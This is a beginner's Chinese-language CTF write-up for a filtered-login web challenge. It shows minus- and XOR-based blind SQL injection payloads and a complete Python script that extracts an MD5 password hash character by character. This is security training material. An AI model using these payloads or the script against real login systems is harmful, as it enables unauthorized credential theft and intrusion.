網絡安全初學者,歡迎評論交流學習,若內容中有錯誤歡迎各位指正。
題目地址:http://123.206.87.240:8007/web2/
題目提示:都過濾了絕望嗎?,提示 !,!=,=,+,-,^,%

用burpsuit抓包,再進行fuzz(模糊測試),用字典跑看usename的參數過濾了哪些關鍵詞,其中數值為367的為沒有被過濾的,數值為370的是被過濾的。
然后就一直被卡在這里,沒發現報錯,也不知道怎么閉合,在網上看看看wp,有幾種解題方式,自認為寫的較為合理的為一葉飄零師傅的方法。
關鍵sql語句:select * from users where name=0 ,會輸出所有語句。
減號沒有被過濾,於是想到利用減號閉合,
在運算的時候,字符串‘admin’轉換成0
admin'-1-' 等於-1
admin'-0-' 等於0
admin'-0-'的時候為顯示password error,說明條件為真,admin'-1-'時候為username error,為false,猜測后台構造為:
$sql = select * from users where username=$username;當傳入admin'-0-'時sql語句為:select * from users where username=0,正常查詢返回所有值。
當傳入admin'-1-'時SQL語句為select * from users where username=-1,報錯
構造SQL語句:
取字段中的值進行查詢
mid((‘passwd’)from(-1)):d 這時需要取反
查詢admin中第一個字符a的ascii碼
select ascii(mid(('admin')from(1))); 取ASCII碼的值時此時又不需要取反了,所以到這一步可以省掉一個
REVERSE()函數
腳本編寫:
從passwd字段中查詢逐個查詢字段值的ASCII碼值判斷,字段值范圍縮小到了md5值的范圍,i= (1.33)j in '0123456789abcdef'
passwd字段是一葉飄零師傅猜的:
payload:
admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'
若ascii(MID((passwd)from("1")))="+str(ord(0))+"成立為‘真’轉換成為數字型1,反之為0,payload轉換為admin'-1-' 和 admin'-0-' 形式
通過判斷返回內容是否存在username error!!@_@"來確定條件是否為真
編寫腳本如下:
#!-*-coding:utf-8-*- import requests url = "http://123.206.87.240:8007/web2/login.php" cookie = { 'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn' } password = "" for i in range(1,33): for j in '0123456789abcdef': payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'" data = { 'uname': payload, 'passwd': '123' } r = requests.post(url=url,cookies=cookie,data=data) #print r.content if "username error!!@_@" in r.content: password += j print password break
運行結果:0192023a7bbd73250516f069df18b500,解md5為 admin123
創新方法,使用異或^也能做
提示中也沒有過濾異或符號^,聯系到剛學的異或注入方法,構造admin^1=0^1=1型式,則0^(ascii(MID(('admin')from("1")))="97") 等價於 0^1=1
payload可以改成:
0'^(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")^'
拿到密碼進去后根據其實輸入ls即可得到flag
其它解題的方法:dirsearch+ds_store,
flag就放在當前目錄???,菜雞打擾了!
存在文件flag-1,記事本打開即可
